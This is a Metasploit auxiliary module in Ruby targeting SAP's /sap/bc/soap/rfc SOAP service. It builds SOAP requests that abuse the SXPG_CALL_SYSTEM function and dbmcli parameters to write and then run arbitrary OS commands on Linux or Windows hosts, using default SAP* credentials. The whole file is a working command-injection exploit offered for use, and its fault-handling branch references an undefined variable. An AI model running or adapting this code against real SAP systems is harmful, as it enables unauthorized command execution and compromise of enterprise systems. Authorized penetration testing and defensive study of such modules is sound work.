##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy. I'd also like to thank Chris John Riley,
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection',
      'Description' => %q{
          This module makes use of the SXPG_CALL_SYSTEM Remote Function Call, through the
        use of the /sap/bc/soap/rfc SOAP service, to inject and execute OS commands.
      },
      'References' =>
        [
          [ 'URL', 'https://labs.f-secure.com/tools/sap-metasploit-modules/' ],
          [ 'URL', 'https://labs.f-secure.com/archive/sap-parameter-injection/' ]
        ],
      'Author' =>
        [
          'nmonkee'
        ],
      'License' => MSF_LICENSE
      )
    register_options(
      [
        OptString.new('CLIENT', [true, 'SAP Client', '001']),
        OptString.new('HttpUsername', [true, 'Username', 'SAP*']),
        OptString.new('HttpPassword', [true, 'Password', '06071992']),
        OptEnum.new('OS', [true, 'Target OS', "linux", ['linux','windows']]),
        OptString.new('CMD', [true, 'Command to run', "id"])
      ])
  end

  def run_host(ip)
    payload = create_payload(1)
    exec_command(ip,payload)
    payload = create_payload(2)
    exec_command(ip,payload)
  end

  def create_payload(num)
    command = ""
    os = "ANYOS"
    if datastore['OS'].downcase == "linux"
      if num == 1
        command = "-o /tmp/pwned.txt -n pwnie" + "\n!"
        command << datastore['CMD'].gsub(" ","\t")
        command << "\n"
      end
      command = "-ic /tmp/pwned.txt" if num == 2
    elsif datastore['OS'].downcase == "windows"
      if num == 1
        command = '-o c:\\\pwn.out -n pwnsap' + "\r\n!"
        space = "%programfiles:~10,1%"
        command << datastore['CMD'].gsub(" ",space)
      end
      command = '-ic c:\\\pwn.out' if num == 2
    end
    data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r\n"
    data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r\n"
    data << '<env:Body>' + "\r\n"
    data << '<n1:SXPG_CALL_SYSTEM xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' + "\r\n"
    data << '<ADDITIONAL_PARAMETERS>' + command + ' </ADDITIONAL_PARAMETERS>' + "\r\n"
    data << '<COMMANDNAME>DBMCLI</COMMANDNAME>' + "\r\n"
    data << '<OPERATINGSYSTEM>' + os + '</OPERATINGSYSTEM>' + "\r\n"
    data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' + "\r\n"
    data << '</n1:SXPG_CALL_SYSTEM>' + "\r\n"
    data << '</env:Body>' + "\r\n"
    data << '</env:Envelope>' + "\r\n"
    return data
  end

  def exec_command(ip,data)
    print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_CALL_SYSTEM request")
    begin
      res = send_request_cgi({
        'uri' => '/sap/bc/soap/rfc',
        'method' => 'POST',
        'data' => data,
        'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
        'ctype' => 'text/xml; charset=UTF-8',
        'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
        'headers' => {
          'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
        },
        'encode_params' => false,
        'vars_get' => {
          'sap-client'    => datastore['CLIENT'],
          'sap-language'  => 'EN'
        }
      })
      if res and res.code != 500 and res.code != 200
        print_error("[SAP] #{ip}:#{rport} - something went wrong!")
        return
      elsif res and res.body =~ /faultstring/
        error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
        0.upto(output.length-1) do |i|
          print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
        end
        return
      elsif res
        print_status("[SAP] #{ip}:#{rport} - got response")
        output = res.body.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten
        result = []
        0.upto(output.length-1) do |i|
          if output[i] =~ /E[rR][rR]/ || output[i] =~ /---/ || output[i] =~ /for database \(/
            #nothing
          elsif output[i] =~ /unknown host/ || output[i] =~ /; \(see/ || output[i] =~ /returned with/
            #nothing
          elsif output[i] =~ /External program terminated with exit code/
            #nothing
          else
            temp = output[i].gsub("&#62",">")
            temp_ = temp.gsub("&#34","\"")
            temp__ = temp_.gsub("&#39","'")
            result << temp__ + "\n"
          end
        end
        saptbl = Msf::Ui::Console::Table.new(
          Msf::Ui::Console::Table::Style::Default,
          'Header'  => "[SAP] SXPG_CALL_SYSTEM dbmcli Command Injection",
          'Prefix'  => "\n",
          'Postfix' => "\n",
          'Indent'  => 1,
          'Columns' =>["Output"]
          )
        for i in 0..result.length/2-1
          saptbl << [result[i].chomp]
        end
        print (saptbl.to_s)
        return
      else
        print_error("[SAP] #{ip}:#{rport} - Unknown error")
        return
      end
    rescue ::Rex::ConnectionError
      print_error("[SAP] #{ip}:#{rport} - Unable to connect")
      return
    end
  end
end
